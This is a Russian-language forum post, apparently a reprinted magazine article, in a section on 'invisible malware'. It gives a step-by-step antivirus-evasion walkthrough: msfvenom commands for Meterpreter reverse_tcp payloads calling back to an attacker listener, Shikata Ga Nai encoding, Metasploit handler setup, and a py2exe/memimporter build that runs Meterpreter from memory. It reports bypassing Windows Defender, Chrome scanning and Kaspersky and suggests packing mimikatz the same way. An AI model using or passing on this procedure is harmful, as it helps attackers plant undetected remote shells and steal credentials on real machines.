Малварь как искусство Обход антивируса при помощи запуска Meterpreter из памяти


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 187
Репутация
8 318
Статья с "Хакера":

Скрытие полезной нагрузки от антивируса — это серьезная проблема при пентестинге рабочих станций. Даже родной Windows Defender отлично справляется с детектированием Meterpreter, так что приходится идти на дополнительные ухищрения. В этом материале я разберу эффективность энкодера Shikata Ga Nai, протестирую пейлоад на статический анализ и попробую запустить Meterpreter напрямую из памяти.

Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.

SHIKATA GA NAI

Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.

В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.

При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.

ОПРЕДЕЛЕНИЕ ПРОБЛЕМЫ

Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).

Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.

Для начала сгенерируем стандартную нагрузку без SGN:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes


На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10.10.0.180:

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433


Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:

$ python -m SimpleHTTPServer

Пробую скачать наш шелл по адресу .

1608732021352.png


Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.

1608732040854.png


Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows!

1608732062308.png


Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.

Добавим к опциям -e x86/shikata_ga_nai -b '\x00' -i 20, то есть используем SGN в 20 итераций с удалением плохого символа \x00.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe
...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes


Пробуем загрузить с помощью Google Chrome: .

1608732137087.png


Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.

C сентября 2020 года компания Google для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.

Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.

ЗАПУСК METERPRETER ИЗ ПАМЯТИ

Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.

Для выполнения программы из памяти я буду использовать Python. запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter). Однако это не всегда удобно, и этот способ можно улучшить.

Найденный мной метод основан на использовании .

Вкратце расскажу, как это работает. Из памяти на чистом Python загружается .pyd-библиотека memimporter ( из py2exe). Библиотека инициализируется не из файловой системы, а значит, и без системного вызова LoadLibrary, который отслеживают антивирусы. Такое решение позволяет обойти HIPS, одно из средств проактивной защиты. После этого загружается объект pupymem_exec_pyd. Внутри него скомпилированная и закодированная в Base64 библиотека , которая умеет запускать файлы .exe. Разумеется, тоже из памяти.

Самое интересное — что все это добро заворачивается еще в один слой memimporter, только теперь уже самого py2exe. В результате мы имеем бинарный файл с кодом на Python, загружающий бинарную версию Meterpreter. И вот она уже обошла и самый новый Defender в Windows 10, и антивирус Касперского на подопытной машине с Windows 7.

В данный момент возможности таким образом запускать 64-разрядные приложения нет, но 32-разрядного режима вполне хватит для Meterpreter.

Как вариант для генерации полезной нагрузки можно использовать фреймворк , в его описании тоже рекомендуется использовать метод с py2exe или PyInstaller.

Пара слов о PyInstaller
Плюс PyInstaller в том, что он может собирать .exe прямо в Linux, минус — он не умеет так тесно дружить с Windows, чтобы запускать библиотеки напрямую из памяти. Вместо этого он создает архив ZIP, и загрузка ресурсов происходит из файловой системы, а это нам не подходит. Но зато им удобно собирать простые шеллы на Python, сгенерированные в том же Vail. Но, скомпилированные в чистом виде, они поднимут тревогу даже на машинах с устаревшими антивирусами. Прямо как после Shikata Ga Nai.

ИНСТРУКЦИЯ ПО СБОРКЕ

Для автоматизации процесса я написал bash-скрипт с заготовленными шаблонами. Собирать необходимо на Windows, так как в режиме эмуляции WINE это невозможно.

В Windows

Устанавливаем следующее ПО:
  • ;
  • для версии 2.7;
  • для py2exe может потребоваться установить .
После установки всех компонентов необходимо сгенерировать файлы на машине с Linux. Мой скрипт преобразует исполняемый файл, полученный от MSFvenom, в Base64 и производит замены в зависимости от имени и содержания бинарного файла, готовя его к компиляции в Windows.

В Linux

Для генерации кода клонируем репозиторий и переходим в него:

$ git clone
$ cd meterpreter-av-bypass


Затем генерируем пейлоад с помощью MSFvenom и передаем имя файла в качестве первого аргумента скрипту gen.sh:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
./gen.sh clean_shell.exe
[+] File clean_shell.exe exists.
[+] Generate clean_shell.exe complete.


В папке shell (она создается по имени аргумента) появились готовые файлы для компиляции на Windows-машине:

$ ls shell
make.bat memexec.py pymemimporter.py setup.py shell.py

1608732250037.png


Переносим их на Windows и кладем в корень папки Python (обычно это C:\\Python27), запускаем make.bat.

Если все успешно, ты увидишь следующее окно.

1608732269455.png


В папке dist находится готовый к использованию Meterpreter.

1608732294611.png


ТЕСТИРУЕМ НА WINDOWS 10

Для чистоты эксперимента я также скачаю закодированный Meterpreter c помощью Chrome. Интересно, как поведет себя статический анализатор браузера.

Снова поднимаю сервер и скачиваю: .

$ python -m SimpleHTTPServer

1608732321656.png


Здорово! Мы обошли сигнатурный анализ Chrome. Но что покажет динамический анализ защитника? Нам ничего не остается, кроме как проверить это. Не забываем поднять хендлер на Kali:

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433


Запускаем наш файл и смотрим в консоль msf.

1608732344794.png


Успех! Мы только что создали свою версию недетектируемой нагрузки Meterpreter. Это определенно победа. Давай посмотрим, как ведет себя эта версия шелла на Windows 7 с запущенным антивирусом Касперского.

1608732361959.png


Отличный результат! Ради интереса попробовал мигрировать в процесс антивируса Касперского. Естественно, сделать это в avpui.exe мне не удалось, так как нужны права системы, а не пользователя, а вот в процесс ksdeui.exe — вполне. Смысла нет, но забавно!

1608732380270.png


ВЫВОДЫ

Безусловно, мы получили хороший результат, но хочу еще раз обратить внимание, что этот метод работает только с 32-битными приложениями, в том числе и с 32-битной версией Meterpreter.

Таким образом можно закодировать mimikatz. Последняя версия у меня запустилась, но после ввода в командной строке ответа не последовало. Возможно, более поздние версии будут работать стабильно. Но это в Windows 10, а вот в Windows 7 все работает отлично.

Если будешь пробовать mimikatz, не забудь в файле .py с именем генерируемого .exe раскомментировать в самом конце mpe.get_shell(), иначе при запуске командная строка сразу закроется без возможности ввода.

В заключение хочу сказать, что это хороший способ обработки голого Meterpreter. Он позволяет обойти не только Windows Defender, но и некоторую защиту антивирусов. Из минусов можно отметить большой размер файла (3,7 Мбайт против 70 Кбайт), но в современных сетях это не такая проблема, как десять лет назад. Особенно приятно, что соединение получается стабильным, а файлы для кодирования нагрузки готовить несложно.

Сорцы можно качнуть в гите:
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Технологии создания невидимой малвари 0
X-Shar Технологии создания невидимой малвари 0
X-Shar Технологии создания невидимой малвари 0
X-Shar Технологии создания невидимой малвари 6
X-Shar Технологии создания невидимой малвари 2
X-Shar Технологии создания невидимой малвари 2
X-Shar Технологии создания невидимой малвари 3
X-Shar Технологии создания невидимой малвари 0
D Технологии создания невидимой малвари 0
virt Технологии создания невидимой малвари 2
virt Технологии создания невидимой малвари 1
Верх Низ